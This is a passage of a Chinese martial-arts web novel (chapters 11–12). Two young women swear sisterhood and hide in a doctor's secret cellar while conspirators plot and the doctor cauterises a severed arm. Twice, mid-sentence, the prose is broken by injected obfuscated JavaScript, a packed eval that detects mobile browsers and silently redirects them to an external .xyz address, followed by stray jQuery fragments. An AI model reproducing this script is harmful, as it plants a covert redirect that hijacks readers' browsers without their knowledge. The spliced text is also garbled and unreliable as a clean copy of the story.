亲从死尽,唯一在世的亲人想索她性命,上不可告官府,下无人接退路,杨晤言松散着站起身,转身想往山中走:“她们都死了……我没有家了……哪也去不了……”
奚恒见状心急如焚,一把拽过杨晤言。
二人对视上,杨晤言顿时被面前那双翡翠似的瞳孔吓得连连后退。
“别怕。”奚恒上前,“我不是怪物。”
杨晤言看着奚恒,瘫坐下去。
她的声线都在颤抖:“你的眼睛……”
“有一件事我得告诉你。”奚恒蹲下身,“我真名奚恒,林大勇是化名。”
杨晤言怔怔道:“奚……”
“你还年轻,事情远没到绝境。”奚恒看着杨晤言,“人活着最重要,你在哪里,哪里才是家。”
杨晤言双眼通红,摇头道:“可她们都死了……”
“可你我还活着,要带着她们的希望往前看。”奚恒伸出手,“别害怕,别绝望,路没有死,以后我当你的家人。”
耳畔风声都微弱,山间潮气凝重,月色冷得可怕,可面前人却炽热。
少女一身浴血,双目赤诚,伸出的手清清白白、坦坦荡荡。
杨晤言一时忘了哭泣,将手递出。
“只此天地为鉴,你我义结金兰。”奚恒一把握住杨晤言的手,“往后同生共死,福祸相依,我定不教旁人欺辱你半分。”
杨晤言泪如雨下,哽咽着扑向奚恒。
“我乳名岁岁,可唤我岁娘。”
奚恒抱住杨晤言,扶着她起身,将人背起,往山下走去。
“相信我,一切都有办法。”
月出东山,冷光隐约,夜暗道窄,两名少女紧紧依偎,愈行愈远,在月下留下一抹极长的阴影。
万里山河同照,一片月色下,单曲江面却又是另一番情景。
一束束火光从竹筒中穿出,腾空而上,横贯夜空,又在云后轰然炸响,光点璀璨似繁星,将方圆数里的黑暗都驱散开来。
那绚烂绽在云端,光与色皆浓烈,一声又一声如彩墨泼上夜色画卷。
此刻的槿乡镇上空,万焰同开,星点坠落如雨,宛如天上仙京。
木制火龙呜鸣,喷出火焰,将本就喧嚣的氛围又往上推一层。
行人和歌而舞,万千灯火汇聚,声声念念祈祝安宁,光影溶溶红似骄阳,将槿乡镇东照彻似天明。
半边天际红艳胜血,将镇统府的灯火衬得微弱。
正堂大门紧闭,佛像静坐正位,阖目受供面前香火。
中年男子随手甩去香尖火。
“簌——”
火苗熄灭,孱弱的红光转瞬即逝,被青灰覆盖。
寸寸青烟钻出,男子将香插入炉中,双手合十,嘴唇无声颤动着祈祷。
“都道虎毒不食子。”
他身后,堂中静坐二人,一男一女,男子白面吊梢眼,靠在椅上玩世不恭道:“谈大人可真是够狠,亲女都下得了手。”
“齐人血脉。”
佛像前,谈邵宇睁开眼,冷漠得像是在说别家事:“算不得我的骨肉。”
11. 鬼医
“呵……”那男子轻笑,“说什么血脉不血脉的,你不也是齐人生的。”
这话相当刺耳,谈邵宇却并不恼怒:“世子与其关心谈某的家事,不如将心思放正事上。”
“正事?”
客修恩拂了拂衣上莫须有的灰,轻叹:“一帮子鼠辈坐在这偷鸡摸狗、暗度陈仓,哪里值得我费心?”
“不需老身提醒你。”
一旁沉默的妇人终于抬起头,她身着藏青长袍,袖口银纹繁复,颈间的刺青古老神秘,面上保养极好,凤眼朱唇让人看不出年纪,只有鬓边雪白的发丝替她记录了岁月。
她冷冷看着面前这个吊儿郎当的北相公子哥:“如今这局可是你们北相人布的。”
若说鼠辈,那也是他们北相人阴险。
“我又没说我们不是。”
客修恩脸皮极厚,冲着面前的妇人抛了个媚眼:“真是难为你们苗依神女,纡尊降贵配合我们这些鼠辈做丑事。”
面前人正是苗依前任大祭司姒辛。
“哐!”
看着客修恩放荡的眼神,姒辛震怒,拍桌起身,磅礴的内息喷薄而出,上好的梨木案几化作齑粉。
“呼——”
她有心给面前这个不知天高地厚的年轻人一个下马威,掌下余威不散,劲气回荡在堂中,将佛前香灰都刮散开。
可客修恩还倚在原地,脸色都不曾变一下。
他身子往后靠了靠,捂住嘴,浮夸道:“大祭司好厉害的功夫!”
“祭司”二字如同针刺般扎在姒辛耳中,她凤眸眯起,眼底杀意教人不寒而栗。
可客修恩半点说错话的意识都没有,支着脑袋看戏似地盯着姒辛:“哦,对了……我忘了您早就不是苗依的人了。”
周遭气氛降至冰点,见姒辛脸色越来越差,谈邵宇劝架道:“姒夫人何必同这小儿一般见识,一个被宠坏的纨绔罢了……”
姒辛冷哼一声,抓过身后靠着的拐杖便要走。
门吱呀一声打开,她站定在黑夜中。
“希望贵国信守承诺,事后将我儿还回来,不然……”
她回过头,眼神狠戾:“老身定让你们后悔生出来。”
面对姒辛的威胁,客修恩不以为意地笑了笑。
他抬抬手:“随意。”
姒辛面色愈发难看,又瞪了眼堂中,拂袖而去。
“砰!”
门再次合上,谈邵宇瞥了眼客修恩道:“这姒夫人武功高强,又极善毒术,世子何必去招惹。”
“那又如何?”
客修恩调整了个姿势,躺在椅子上闭目养神:“他儿子还在我府上做客呢……”
“她眼下确实受制于姒公子。”
谈邵宇回到佛龛前,取出绢布细细清理方才被姒辛震落的香灰:“可这也只是一时,世子就不怕她日后算账?”
“算账……”客修恩冷笑一声,“她以为我北相的船是那么好下的?”
谈邵宇默了默。
诚如客修恩所言,姒辛为了救姒存同苗依决裂,现下已是无路可去了。
二人话不投机,谈邵宇不再多言,客修恩也乐得自在,将腿搭在案几上小憩。
他闭着眼自言自语:“阿姊今日是怎么了,抓个人要这么久……”
谈邵宇瞟了他一眼,心生不满。
暗道北相糊涂,竟派了这么对贵族姐弟来对接此事。
他们干的是将脑袋拴裤腰上的事,这些金尊玉贵的少爷小姐,哪里肯为北相抛头颅洒热血?
室内静谧,佛前青烟徐徐升起,客修恩讨厌这股味道,正皱眉欲说些什么,就听门外一阵急促敲响。
谈邵宇去开门,人还没看清,就听外面人道:“世子!将军她受伤了!”
客修恩睁眼,原本慵懒的姿态顿时消散,他一个箭步冲向门前:“怎么回事!”
来禀报的人被他的神情吓住,嘴唇动了动,最终还是道:“您去看看吧……”
……
后院侧堂侍从来往,满室的血腥气令人作呕。
客修恩踉跄着闯进屋内,看着榻上面如白纸的人,霎时红了眼。
“怎么回事!”他暴怒着抓起边上禀报的人,“不过抓个闺阁女子,怎么会伤成这样!”
谈邵宇望向屋内,看着客修昀空空荡荡的左臂皱起了眉头。
这女人的武功他见识过,据他所知,问心阁内没有人能伤她。
就算那老不死的留下的机关厉害,他也找到了机关图纸给他们,不该重伤至此。
“问心阁的侍女拼死将门封死,我们没能找到杨女,便伏守在周围……谁知云奎那个镖师跟在了她身边。”
禀报的人又想起奚恒,声音都止不住地颤抖:“将军想将二人一并拿下,便没令人回来通传,召了拜月山周围的人一并围堵……不想那镖师是个怪物,进了山便如野兽般,重伤了将军还杀了大半的弟兄。”
“云奎……”客修昀咬牙,“又是他们。”
他赶到客修昀身边,看着她血肉模糊的左肩心如刀绞:“能接上吗?”
“这……”
一旁的医师抬手,令边上人压住客修昀肩膀止血。
他回头看了眼谈邵宇才道:“时间隔得太久……而且这当务之急,是血止不住。”
别说接上胳膊了,再这么下去只怕命都保不住。
只是这话被他咽进了肚子里,不敢当着客修恩的面说。
门前的谈邵宇听出医师的弦外音,道:“这位是府上贵人,务必保全她的性命,有什么需要直接跟洛先生说就行。”
那医师看着气息越来越弱的客修昀,抿了抿唇,转过身请求道:“卑职需要一个人。”
谈邵宇:“谁?”
“镇西的傅大夫。”他抬袖抹去鬓角热汗,“这创面太大,只有他能治。”
“让洛先生带我的令牌去请人。”
谈邵宇垂下眼,稍许,又命令道:“今日镇中不平,闹了贼,让张毫带点人去沿街护卫。”
……
已至深夜,城东的焰火终于舍得停下,整个槿乡镇终于安静下来。
街边空荡,偶有几乎人家灯火亮起又熄灭。
问渠医馆门扉紧闭,透出一丝光亮来。
堂内,傅问渠坐在柜台后挑灯夜读,单手执笔偶尔划过几次。
案前豆大的灯火忽地一跳,满室光影荡漾,傅问渠抬起眼眸,看向门外。
没一会,门被敲响。
傅问渠拢了拢肩上披着的外袍:“进来吧,门没栓。”
门被推开,洛昕一张布满皱纹的圆脸探入堂内:
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15956699|177629||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“傅大夫,深夜叨扰了……”
“咳咳……”
傅问渠单手握拳捂在唇前:“无妨,洛先生来访,可是镇统大人有恙?”
洛昕一顿,又笑道:“……府上贵客不慎受了外伤,血止不住,还得您去瞧一瞧。”
“知道了。”
傅问渠眼睛一刻没离开过书面,只翻过一页,落笔随手画了几句:“稍等,我一会备些药。”
洛昕见状,忍不住提醒道:“她状况有些差,您可能得快些。”
傅问渠点了点头,又问几句伤口情形后才停笔,而后起身去侧屋取药箱。
“先让府上备好炭盆。”
他提了药箱到柜台边,掐了灯后跟着洛昕离开:“再煮些麻沸散。”
……
长街两侧黑暗冷清,只有中间的道路被月光渡得银白。
傅问渠前脚刚走,张毫后脚就带着人偷偷摸进了医馆。
而这一切正被街角二人收入眼底。
“怎么办……”杨晤言担忧地望向医馆紧闭的大门,“傅大夫被带走了。”
“不急,他能自保。”奚恒收回视线,“先看看他们要干什么。”
……
张毫带人进了医馆后便点了火折子:“都小心点,别留下痕迹,找到暗格密室别着急开,先来禀报。”
“是。”
随从去了左右两间侧屋,而张毫则留在正堂翻找。
他将药柜每一格都抽开查看,又抓着竹竿将房梁敲遍。
见无所获,他的注意力转向柜台。
堂中过风,将台面的医书翻得哗啦作响。
张毫将书抓过,将火折子凑近了些。
火光下,书页微微泛黄,其上文字晦涩难懂,人型配图更是露骨得让人胆寒。
除了鬼画符一样的笔记外,再没有别的线索。
“大人。”
侧屋搜查的人走了出来:“什么都没有。”
张毫皱眉:“去后院看看。”
二人点点头,往堂后走。
“吱呀”
医馆后门被推开,二人顿时定在在原地。
“大……大人……”
他们回头看向张毫,面如白纸:“这……”
张毫快步过去,一出门便撞见两具棺材并排对着自己。
木棺做工精良,清漆映着月光,在夜里阴森得可怕。
三人只觉得耳后阴风阵阵,无端起了一身鸡皮疙瘩。
偏偏这时刚好有风,吹灭其中一人手中的火折子。
那人刚要惊呼就被张毫喝止:“闭嘴!”
“这……这傅大夫怎么在自家后院放棺材?”
另一名部下额角渗出冷汗,虽早闻傅问渠鬼医之名,但亲眼见到,还是受了不小的冲击。
“真是晦气……”
张毫阴沉着脸,硬着头皮上前,在棺材边反复查探。
他找不出异常,默了半晌,才道:“走吧。”
……
“他们走了。”
医馆门被推开,杨晤言顿时眼睛一亮,将闭目养神的奚恒推醒。
奚恒睁开眼,探头观察,看着张毫走远后,道:“我先进去看看,你在此地藏好。”
语罢,便猫着腰钻入了阴影下,摸黑进了医馆。
12. 止血
堂中昏暗无光,奚恒里外查探,确定安全后才将杨晤言带了回来。
门被合上,杨晤言才算是松懈下来,她看向奚恒:“我们接下来怎么办……”
奚恒走到柜台后摸索:“我记得他跟我说过,这里有间密室。”
可她左右探查,始终没有找到关窍,正起身欲去侧屋时,身边砰一声响。
台面上的医书被撞掉了。
奚恒弯腰捡起,摸到了书脊上的铁片:“他不是最爱惜这本?怎么就这么丢这……”
说着,她话音一顿。
“怎么了?”杨晤言顿时紧张起来,“是出事了吗?”
奚恒摇摇头,傅问渠的手段她最清楚,等闲人伤不了他,若真跟人起冲突,只怕死也要带走一帮人。
这么无声无息地跟那人走,想必是自愿的。
她自柜台下取了火石,将灯燃起,就着幽微的火光仔细观察手里的医书。
这家伙一向洁癖,对规整的追求近乎到了癫狂的程度,这书又是他挚爱,不可能随手摊在这。
书页不断翻过,奚恒视线停在了最后一页。
那是一张空页,记着傅问渠张牙舞爪的笔记,奚恒看不懂。
她指尖滑到最后一行字迹上。
这是云奎的暗语。
未干的墨水被指尖抹开,字是新写的。
奚恒将书往油灯处靠了靠,借着光仔细辨认。
“镇统府……断臂……棺下可藏……轻拿轻放,勿惊动二位。”
“棺下?”
奚恒直起身,一头雾水。
杨晤言喉咙咽了咽,往后院看去:“白日听他说……后院有干尸?”
“吱呀”
后门忽然自己打开,一阵阴风灌入,奚恒看着那两具诡异的木棺一阵恶寒。
“哗——”
木棺没被钉死,奚恒一把推开棺盖,与那只剩皮包骨的尸体打了了个照面。
“抱歉,抱歉。”
她微眯着眼,尽量不去看里面的仁兄,伸手胡乱摸索着:“无意叨扰……无意叨扰……”
侧方暗格咔一声响动,奚恒深吸口气,将干尸抱了出来。
杨晤言见状,连忙上前帮忙。
“快……”
不知傅问渠在尸体上抹了什么保鲜,奚恒只觉鼻尖一股异香,几欲作呕。
她憋着气道:“把底下的木板掀起来。”
杨晤言依言照做,将木板侧掀后便看见一条极长的阶梯。
她抬头看了眼奚恒。
奚恒松了口气:“你先下去吧,今夜先在这。”
“那你呢?”杨晤言问,“不一起吗?”
奚恒一松气,那抹诡异的香味便又冲入了鼻腔,顿时弯下身一阵干呕。
“咔嚓”
干尸骨头脆得可怕,胳膊一碰上边上的棺木便折成了两半,她眼疾手快接住那摇摇欲坠的胳膊,白着脸摇头道:“我还有些事。”
杨晤言见状也不再多问,径直往阶下去了。
奚恒连忙将木板推了回去,小心翼翼地把尸体平放在棺中。
她将手里的胳膊拼了回去,贴心地替他理好衣袖:“勿怪啊……勿怪……”
木棺合上后,奚恒总算能自如呼吸,她走到侧屋,脱下沾满血的外衣后换上傅问渠备给病人的衣物,取了丝绢沾水将刀擦拭干净后便离开医馆,往镇统府去了。
让傅问渠一个人去镇统府她还是有些不放心。
奚恒想起傅问渠留的断臂二字。
她伤了那北相女人,而镇统府好巧不巧就出现一个断臂伤者……
她再没办法替谈邵宇想理由,如果槿乡镇镇统真的和北相有往来,傅问渠只怕没那么容易离开了。
而此刻镇统府,客修恩看着那一盆烧得通红的银碳,顿时气得拔刀架在傅问渠脖子上:“你想干什么!”
“伤口创面太大,她学的内功功法又会加速血液流动。”
傅问渠无视脖子上的刀刃,执铁钳翻了几下炭盆:“只能灼烧伤口止血。”
“庸医!”客修恩一把夺过他手中铁钳命令道,“给我把她的胳膊接回去!”
“接回去?”
傅问渠冷笑,半点不怵客修恩,取过烙铁插入盆中:“她现在保命都难,天王老子来了也是烧肉止血,你这么会想,你来给她接?”
一旁的医师默默低下头。
其实他也想到了这个办法,只是眼前有个阎罗王在这,他万不敢将想法说出口。
客修恩不服气,手里的刀仍没有收回的意思:“你这是想疼死她!”
“我让人喂了麻沸散。”
傅问渠坐到榻边,示意边上的人将客修昀按住:“若还是疼死了,那就是她的命。”
客修恩:“你……”
原来方才喂的药是麻沸散,这个疯子竟然问都不问一声就喂这种药!
他回头怒视谈邵宇,这疯子是他找人请来的。
谈邵宇摸了摸鼻尖,转头向屋外看去。
“你可想好了,这刀架在我脖子上,我若是心悸手抖……”
傅问渠将烧得通红的烙铁取出:“她就要多吃些苦。”
客修昀肩上衣袖被剪开,此刻已是气若游丝。
客修恩气得发抖,最终还是撤下了刀。
他警告道:“阿姊若是死了,我要你陪葬。”
傅问渠冷哼一声:“这时候还想着威胁我,你是嫌你姐命长。”
客修恩霎时脸都绿了,刚要骂回去,就被一阵凄厉的叫声打断。
“嗤——”
傅问渠下手极快,烙铁贴在血肉上,顷刻间便传来焦味。
客修昀奋力挣扎着,生生疼醒过来,她嘴里咒骂,看见床边站着的客修恩,质问怎么回事。
听着面前人口里吐出的额衍语,傅问渠眸色愈深,手里的动作加重。
客修昀顿时又是一声凄厉的叫喊,几乎要将所有人推开。
伤口刺啦作响,傅问渠过了很久才将烙铁拿开。
可他的手一放下,客修恩的刀就贴了上来。
方才客修昀讲了额衍语,此人不能再留。
傅问渠心如明镜:“我是医者,治病救人是本分,不看什么齐人相人……但你若还将刀放我脖子上,我不建议多个仇人。”
客修恩冷笑,“我倒想看看,当你仇人会有什么下场。”
傅问渠不语,只抬头看向门口的谈邵宇。
被那冷冰冰的眼神一激,谈邵宇连忙出来打
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15956700|177629||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
圆场。
他上前将客修恩的刀扯下,笑道:“这是我从北相请来乐工家的公子,平日骄纵惯了,见他阿姐这样难免有些着急,傅大夫勿怪……”
“无妨。”
刀被撤下,傅问渠低头替客修昀施针,三两下后便收了药箱要走:“这种人我见多了。”
谈邵宇笑容一滞,按住要拦人的客修恩道:“大夫这便要走吗?这姑娘……”
“银针半个时辰后取出。”
傅问渠将药箱跨在肩上,锁好搭扣:“然后开什么药,贵府医师应当知道。”
一旁的医师连忙应声。
傅问渠又道:“能不能熬过今晚,就看她自己的造化了。”
“那你这不是没治好!”
客修恩动怒,又欲拔刀。
“我再说一遍,我是医者,只负责治病救人。”傅问渠眼神冰凉,“不是什么大罗金仙在世,没办法活死人肉白骨,最多在黄泉路上捞她一把,是死是活,还得看病人本身。”
客修恩:“你……”
“我也提醒公子一句,少动些肝火。”傅问渠抬脚迈出门槛,“心里阴谋算计装太多,不是长命之相。”
客修恩的刀被谈邵宇死死按住,一时挣脱不开,只能眼睁睁看着人越走越远:“你就这么放他走?”
他怒视谈邵宇。
后者摇了摇头:“我府上先生会留下他的,这人你动不得。”
“有什么动不得。”客修恩眼神阴狠,“一个破行医的,杀也就杀了。”
“这人治过的病人没有上万也有成千,且手上有真本事。”谈邵宇警告道,“杀了他,我可没把握替你把事瞒下来。”
客修恩仍旧愤愤不平。
“忍着点,等你姐治好。”谈邵宇劝慰道,“待事成了,我绝不拦你。”
客修恩回头看了眼床榻上虚弱的客修昀,几个深呼吸,最终还是平复下来。
“等我军压境了,看他还能不能猖狂!”
谈邵宇叹息,摇了摇头,看向院外。
此刻院外,傅问渠无视洛昕的阻拦,一路绕过假山穿过廊下,来到镇统府大门前。
“哎哟!傅大夫您真的别为难我们这些下人啊……”
洛昕身形臃肿,追着傅问渠气喘吁吁道:“镇统大人说了,您医术高强,让您留宿几晚,也方便照看,待那姑娘醒了,自会放您回去的。”
傅问渠站定脚步,回头看了眼洛昕道:“我能做的都已经做了,若她再出差错,那也不是人力能挽回的了,傅某一个歪门邪道出身,洛先生也不必给我戴高帽子,再者……您府上的客人方才还叫嚣着要砍我,我惜命的很,留在府上只怕那人要杀我于睡梦中。镇统府,我是万不敢留的。”
洛昕闻言,定了良久,想出一个折中的法子:“那您今日便住府外吧……停机楼如何?我这就去让人通传,那处离镇统府也近,也好有个照应。”
傅问渠刚要拒绝,洛昕便张着嗓门大喊道:“来人!快去停机楼通传,给傅大夫开间上房!”
傅问渠张了张嘴,还来不及阻拦,门房的小厮便得令冲了出去。
“傅大夫,我知道您害怕。”洛昕宽慰道,“停机楼内贵客云集,您大可放心,他不敢进去伤您的。”